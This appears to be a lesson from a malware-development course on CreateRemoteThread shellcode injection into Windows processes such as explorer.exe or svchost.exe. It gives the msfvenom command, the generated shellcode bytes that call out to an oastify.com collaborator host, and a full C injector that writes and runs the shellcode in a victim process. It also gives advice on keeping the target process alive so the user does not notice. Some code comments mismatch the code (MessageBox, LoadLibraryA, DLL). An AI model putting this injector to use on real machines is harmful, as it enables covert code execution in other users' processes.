Lesson 4.2 - Injecting with CreateRemoteThread

Foreword

Alright, time for the second technique for this course: CreateRemoteThread Shellcode Injection. As the name suggests, it is based on a specific Windows API function named CreateRemoteThread, which allows us to force a remote thread to run some code from a specific memory address.

Usually, the steps for implementing the technique are the following:

  1. First, the malware allocates some memory space into a victim process (let's think of explorer.exe).
  2. Next, the malware copies the code to execute (usually some shellcode) in the memory space allocated previously.
  3. Finally, the malware creates a remote thread, executing the malicious code.

It's very basic, and can be easily implemented in any programming language that interfaces with the Win32 API.

For this reason, security products such as EDR/AV may easily detect attempts at injecting malicious code through this technique. In these days, it doesn't make much sense for a real threat actor to use it, except for those environments without any defenses.

All in all, it's still nice to know it and learn how to implement, as it may prove useful in certain circumstances.

Theory

Let's analyze this technique and see how it works: what API functions are needed/required for it to function and possible constraints that limit the usage of this technique.

As I mentioned beforehand, the first step is to allocate some memory in a remote process. One can use an allocation technique such as [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) to do this, which is also the most widely used by attackers, since it's very easy to use and understand.

The second step involves copying the bytes of the malicious payload, from the current process to the remote one (the victim process we're targeting). You can use one of the many write primitives available on Windows systems, such as [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) (the one I'll be using in this lesson) or mapping a memory using the Native API.

As for the final step, to run the malicious code you can use - who would have ever guessed - the function CreateRemoteThread.

Practice

Shellcode

For this part, I'll be using some shellcode generated by Metasploit, since it's very easy to use and it has many options available. Check out my other posts about writing shellcode on Windows systems if you want to know how to write it from scratch.

In particular, I'll be using windows/x64/exec to send a DNS query to Burp Collaborator. Here's the command I used to generate the shellcode:

msfvenom -p windows/x64/exec CMD='nslookup 9oyaxdjyc2nmw2nw3kal3zfi3990xxlm.oastify.com' -a x64 --platform windows EXITFUNC=thread -f c

# No encoder specified, outputting raw payload
# Payload size: 321 bytes
# Final size of c file: 1377 bytes
# unsigned char buf[] = 
# "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
# "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
# "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
# "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
# "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
# "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
# "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
# "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
# "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
# "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
# "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
# "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
# "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
# "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
# "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
# "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
# "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
# "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
# "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
# "\xd5\x6e\x73\x6c\x6f\x6f\x6b\x75\x70\x20\x39\x6f\x79\x61"
# "\x78\x64\x6a\x79\x63\x32\x6e\x6d\x77\x32\x6e\x77\x33\x6b"
# "\x61\x6c\x33\x7a\x66\x69\x33\x39\x39\x30\x78\x78\x6c\x6d"
# "\x2e\x6f\x61\x73\x74\x69\x66\x79\x2e\x63\x6f\x6d\x00";
Generating the shellcode

Note the usage of the argument EXITFUNC, which refers to the method used by the shellcode to terminate its own execution. You can choose between:

It is important to know this subtle differences when using Metasploit for generating your shellcode, as it makes the difference between crashing the process and keeping it working.

In fact, if you were to set EXITFUNC to process, after the shellcode is completed, the process will be terminated. In the case a process such as explorer.exe, this means it will have to be restarted by the system, and the user will notice this error.

Instead, you can set EXITFUNC to thread to simply kill the thread, keeping the process up and running.

Code Injection

Enough with the chit-chat, it's about time we look the code of this technique. Below is the code I wrote, with some - yeah, just a few - comments describing what the heck is going on.

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
    unsigned char maliciousCode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x6e\x73\x6c\x6f\x6f\x6b\x75\x70\x20\x39\x6f\x79\x61"
        "\x78\x64\x6a\x79\x63\x32\x6e\x6d\x77\x32\x6e\x77\x33\x6b"
        "\x61\x6c\x33\x7a\x66\x69\x33\x39\x39\x30\x78\x78\x6c\x6d"
        "\x2e\x6f\x61\x73\x74\x69\x66\x79\x2e\x63\x6f\x6d\x00";

    unsigned int victimProcessId;

    if (argc > 1)
    {
        /*
        The function atoi() isn't the best solution for converting a char pointer to integer,
        as it will convert any invalid number to 0.
        A better solution is described here: https://stackoverflow.com/questions/2797813/how-to-convert-a-command-line-argument-to-int
        */
        victimProcessId = atoi(argv[1]);
        printf("[+] Performing Process Injection using CreateRemoteThread inside the victim process identified by the PID: %d\n", victimProcessId);
    }
    else
    {
        printf("[+] Usage:\n\tprogram.exe PID\n");
        return 1;
    }

    DWORD desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
    HANDLE handleVictimProcess = OpenProcess(
        desiredAccess,                              // PROCESS_VM_OPERATION is enough for a successful call to VirtualAllocEx
                                                    // however WriteProcessMemory also requires PROCESS_VM_WRITE according to the docs
                                                    // CreateRemoteThread also requires PROCESS_VM_READ, PROCESS_CREATE_THREAD, 
                                                    // and PROCESS_QUERY_INFORMATION
        NULL,                                       // whether the processes created by this process can inherit this handle
                                                    // in this case it's NULL, so no inheritance
        victimProcessId                             // open this specific process
    );                          

    /*
    According to the official documentation, OpenProcess returns NULL if it fails to get a handle
    Ref: https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
    */
    if (handleVictimProcess == NULL)
    {
        printf("[!] Call to OpenProcess failed\n");

        /*
        According to the official documentation, you can use the function GetLastError() to get
        extended error information
        Ref: https://docs.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror
        */
        printf("[!] Specific Win32 error: %d\n", GetLastError());

        return 1;
    }
    else
    {
        printf("[+] Successfully created a handle for the victim process\n");
    }

    /*
    Allocate some space inside the memory of the victim process.
    Later, it will store the shellcode for the MessageBox.
    For more information regarding the arguments of VirtualAllocEx:
    https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
    */
    LPVOID allocatedMemory = VirtualAllocEx(
        handleVictimProcess,                    // reserve a new memory page inside the victim process
        NULL,                                   // we don't care where to allocate the memory
        4096,                                   // allocate 4096 bytes, typical size of memory pages
        MEM_COMMIT | MEM_RESERVE,               // commit and reserve memory in one step
        PAGE_EXECUTE_READWRITE                  // set the memory page as readable/writable
    );              

    if (allocatedMemory == NULL)
    {
        printf("[!] Call to VirtualAllocEx failed\n");
        printf("[!] Specific Win32 error: %d\n", GetLastError());

        return 1;
    }
    else
    {
        printf("[+] Successfully allocated some memory in the victim process\n");
        printf("[+] Starting address: %p\n", allocatedMemory);
    }

    /*
    Once we have allocate a memory page in the victim process, we can write our shellcode there.
    */
    BOOL retVal = WriteProcessMemory(
        handleVictimProcess,            // handle to the process in which to the write the bytes
        allocatedMemory,                // starting address where to write the bytes
        maliciousCode,                  // buffer containing the bytes to write
        sizeof(maliciousCode),          // number of bytes to write, in this case: the size of the path
        NULL                            // pointer to variable which will contain the number of bytes written
                                        // in this case, we don't really need it
    );                          


    if (retVal == 0)
    {
        printf("[!] Call to WriteProcessMemory failed\n");
        printf("[!] Specific Win32 error: %d\n", GetLastError());

        return 1;
    }
    else
    {
        printf("[+] Successfully wrote the malicious code in the memory page\n");
    }

    /*
    We're ready to create a new thread in the victim process, in order to
    execute the malicious code and perform the Process Injection
    */
    HANDLE remoteThread = CreateRemoteThread(
        handleVictimProcess,                                // handle to the victim process
        NULL,                                               // pointer to SECURITY_ATTRIBUTES struct
                                                            // can be null if we want default security attributes
        0,                                                  // size of the stack, 0 for default
        (LPTHREAD_START_ROUTINE)allocatedMemory,            // starting address of the thread
                                                            // in this case, the address of LoadLibraryA
        NULL,                                               // pointer to a variable to be passed to the thread function
        0,                                                  // flags to manipulate the creation of the thread
                                                            // (e.g. start suspended)
                                                            // in this case, 0 -> start thread immediately
        NULL                                                // pointer to a variable that receives the thread identifier
                                                            // we don't need it, so it's set to NULL
    );                                              


    if (remoteThread == NULL)
    {
        printf("[!] Couldn't create the remote thread. Error: %d\n", GetLastError());
        return 1;
    }
    else
    {
        printf("[+] Remote thread create. The DLL should be loaded right now...");
    }

    /*
    You can use WaitForSingleObject in order to wait for the remote thread to finish,
    before terminating the current program.
    */
    WaitForSingleObject(remoteThread, INFINITE);

    return 0;
}
CreateRemoteThread Shellcode Injection Proof-of-concept

Running the code above, I managed to inject the malicious shellcode into a remote process (I chose an svchost.exe one running in the same context as the malware), which in turn sent a DNS query to Burp Collaborator.

This time the process didn't crash suddenly once the shellcode terminated its execution; remember to use it to avoid crashing the process, if that isn't your intention.

Anyway, I hope you found this lesson useful; see you next time, nerds.

References